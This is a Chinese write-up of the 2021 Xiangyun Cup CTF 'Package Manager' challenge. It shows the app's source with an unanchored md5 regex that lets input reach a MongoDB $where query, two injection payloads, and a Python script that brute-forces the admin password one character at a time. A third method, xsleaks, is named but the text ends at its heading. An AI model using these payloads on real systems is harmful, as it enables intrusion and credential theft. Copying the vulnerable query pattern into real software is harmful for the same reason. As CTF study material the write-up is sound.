[2021祥云杯]Package Manager 2021
在NCTF中看到xsleaks, 查教程时发现了这道题, 遂来学习
思路
源码应该是公开的, 主要看这两个文件
index.ts
import * as express from "express";
import { User } from "../schema";
import { checkmd5Regex } from "../utils";
const router = express.Router();
router.get('/', (_, res) => res.render('index'))
router.get('/login', (_, res) => res.render('login'))
router.post('/login', async (req, res) => {
let { username, password } = req.body;
if (username && password) {
if (username == '' || typeof (username) !== "string" || password == '' || typeof (password) !== "string") {
return res.render('login', { error: 'Parameters error' });
}
const user = await User.findOne({ "username": username })
if (!user || !(user.password === password)) {
return res.render('login', { error: 'Invalid username or password' });
}
req.session.userId = user.id
res.redirect('/packages/list')
} else {
return res.render('login', { error: 'Parameters cannot be blank' });
}
})
router.get('/register', (_, res) => res.render('register'))
router.post('/register', async (req, res) => {
let { username, password, password2 } = req.body;
if (username && password && password2) {
if (username == '' || typeof (username) !== "string" || password == '' || typeof (password) !== "string" || password2 == '' || typeof (password2) !== "string") {
return res.render('register', { error: 'Parameters error' });
}
if (password != password2) {
return res.render('register', { error: 'Password do noy match' });
}
if (await User.findOne({ username: username })) {
return res.render('register', { error: 'Username already taken' });
}
try {
const user = new User({ "username": username, "password": password, "isAdmin": false })
await user.save()
} catch (err) {
return res.render('register', { error: err });
}
res.redirect('/login');
} else {
return res.render('register', { error: 'Parameters cannot be blank' });
}
})
router.get('/logout', (req, res) => {
req.session.destroy(() => res.redirect('/'))
})
router.get('/auth', (_, res) => res.render('auth'))
router.post('/auth', async (req, res) => {
let { token } = req.body;
if (token !== '' && typeof (token) === 'string') {
if (checkmd5Regex(token)) {
try {
let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()
console.log(docs);
if (docs.length == 1) {
if (!(docs[0].isAdmin === true)) {
return res.render('auth', { error: 'Failed to auth' })
}
} else {
return res.render('auth', { error: 'No matching results' })
}
} catch (err) {
return res.render('auth', { error: err })
}
} else {
return res.render('auth', { error: 'Token must be valid md5 string' })
}
} else {
return res.render('auth', { error: 'Parameters error' })
}
req.session.AccessGranted = true
res.redirect('/packages/submit')
});
export default router;
package.ts
import * as express from 'express';
import { Package, User, Report } from '../schema';
import * as createError from 'http-errors';
import { checkAuth, checkmd5Regex, genPackageId } from '../utils';
const router = express.Router();
router.get('/', async (_, res) => {
const user = await User.findOne({ username: 'testuser' });
const packs = await Package.find({ user_id: user.id });
return res.render('packages', {
packs: packs,
message: `TOP packages will be shown here :) So don't hesitate to create your own!`,
});
});
router.get('/list', async (req, res, next) => {
const packs = await Package.find({ user_id: req.session.userId });
if (packs.length == 0) {
return res.redirect('/packages');
}
let { search } = req.query;
if (search) {
try {
let description = search;
let name = search;
if (typeof description === 'string') {
description = { description };
}
if (typeof name === 'string') {
name = { name };
}
const packs = await Package.find({
user_id: req.session.userId,
$or: [name, description],
});
if (packs.length == 0) {
return next(createError(404));
}
return res.render('packages', { packs });
} catch (err) {
return next(createError(500))
}
}
return res.render('packages', { packs });
});
router.get('/add', (_, res) => res.render('add'));
router.post('/add', async (req, res) => {
let { name, description, version } = req.body;
if (name && description && version) {
if (
name == '' ||
typeof name !== 'string' ||
description == '' ||
typeof description !== 'string' ||
version == '' ||
typeof version !== 'string'
) {
return res.render('add', { error: 'Parameters error' });
}
try {
const pack_id = genPackageId(req.session.userId);
const new_pack = new Package({
user_id: req.session.userId,
pack_id: pack_id,
name: name,
description: description,
version: version,
});
await new_pack.save();
return res.redirect(`/packages/${pack_id}`);
} catch (err) {
return res.render('add', { error: 'Failed adding the package' });
}
} else {
return res.render('add', { error: 'Parameters cannot be blank' });
}
});
router.get('/:id/edit', async (req, res, next) => {
const pack = await Package.findOne({
user_id: req.session.userId,
pack_id: req.params.id,
});
if (!pack) {
return next(createError(404));
}
return res.render('edit', { package: pack });
});
router.post('/:id/edit', async (req, res) => {
let { name, description, version } = req.body;
if (name && description && version) {
if (
name == '' ||
typeof name !== 'string' ||
description == '' ||
typeof description !== 'string' ||
version == '' ||
typeof version !== 'string'
) {
return res.render('edit', {
error: 'Parameters error',
package: {
pack_id: req.params.id,
name: name,
description: description,
version: version,
},
});
}
try {
await Package.updateOne(
{
user_id: req.session.userId,
pack_id: req.params.id,
},
{
name: name,
description: description,
version: version,
}
);
return res.redirect(`/packages/${req.params.id}`);
} catch (err) {
return res.render('edit', {
error: 'Failed editing the package',
package: {
pack_id: req.params.id,
name: name,
description: description,
version: version,
},
});
}
} else {
return res.render('edit', {
error: 'Parameters can not be blank',
package: {
pack_id: req.params.id,
name: name,
description: description,
version: version,
},
});
}
});
router.get('/:id/delete', async (req, res) => {
try {
await Package.deleteOne({
user_id: req.session.userId,
pack_id: req.params.id,
});
} catch (err) {
return res.render('packages', { error: 'Failed deleting the package' });
}
res.redirect('/packages/list');
});
router.get('/submit', checkAuth, (_, res) => res.render('submit'));
router.post('/submit', checkAuth, async (req, res) => {
let { pack_id } = req.body;
if (!checkmd5Regex(pack_id)) {
return res.render('submit', {
error: 'Package id must be valid md5 string',
});
}
try {
const report = new Report({ pack_id: pack_id });
await report.save();
return res.render('submit', { message: 'Package successfully submitted' });
} catch (err) {
return res.render('submit', { error: 'Already submit your package' });
}
});
router.get('/:id', async (req, res, next) => {
try {
const admin = await User.findOne({ username: 'admin', isAdmin: true });
if (req.session.userId === admin.id) {
const pack = await Package.findOne({ pack_id: req.params.id });
if (pack) {
return res.render('pack', { package: pack });
} else {
next(createError(404));
}
}
const pack = await Package.findOne({
user_id: req.session.userId,
pack_id: req.params.id,
});
if (pack) {
return res.render('pack', { package: pack });
} else {
next(createError(404));
}
} catch (err) {
next(createError(404));
}
});
export default router;
解题
说实话我不会typescript, 只能将就看看
解法一
在index.ts中容易发现sql语句:
let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()
非常明显的一个注入点, token是这样处理的
router.post('/auth', async (req, res) => {
let { token } = req.body;
if (token !== '' && typeof (token) === 'string') {
if (checkmd5Regex(token)) {
...
其中, checkmd5Regex:
const checkmd5Regex = (token: string) => {
return /([a-f\d]{32}|[A-F\d]{32})/.exec(token);
}
这个匹配非常粗糙, 没有用^$限定头尾, 直接在token前面添加32个a即可绕过
token=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[1]=="1
按位爆出password之后登录admin即可
payload:
import requests
import time
import string
url = "http://31262270-c94d-4c38-9c64-5dbc06345c1d.node5.buuoj.cn:81/auth"
header = {
"Cookie": "session=s%3ASRVUQp1qJUDj1vSb_dUst896Tg6pcdnU.l4uSLJFD%2F%2Bd9yPtdUpNzyuAKUYKQTQiQgNLmnbX9fKg",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-US;q=0.7",
"Accept-Encoding": "gzip, deflate",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Referer": "http://31262270-c94d-4c38-9c64-5dbc06345c1d.node5.buuoj.cn:81/auth",
"Upgrade-Insecure-Requests": "1"
}
data = {
"_csrf": "uuIqDnbd-nJzADDpRSEi4RYTivBkFL1R4-xk",
"token": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"||this.password[{}]==\"{}"
}
ans = ""
for i in range(0, 1000):
print(f"now: {i}, res: ", end="")
for j in string.printable:
data["token"] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"||this.password[{}]==\"{}".format(i, j)
time.sleep(0.2)
r = requests.post(url, data=data, headers=header, allow_redirects=False)
if "Found. Redirecting to" in r.text:
ans = ans + j
print(ans)
break

解法二
MongoDB支持js的语法, 利用js特有的函数写法执行命令抛个异常
token=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||(()=>{throw Error(this.password)})()=="a

得到admin密码, 然后登录即可
解法三
利用xsleaks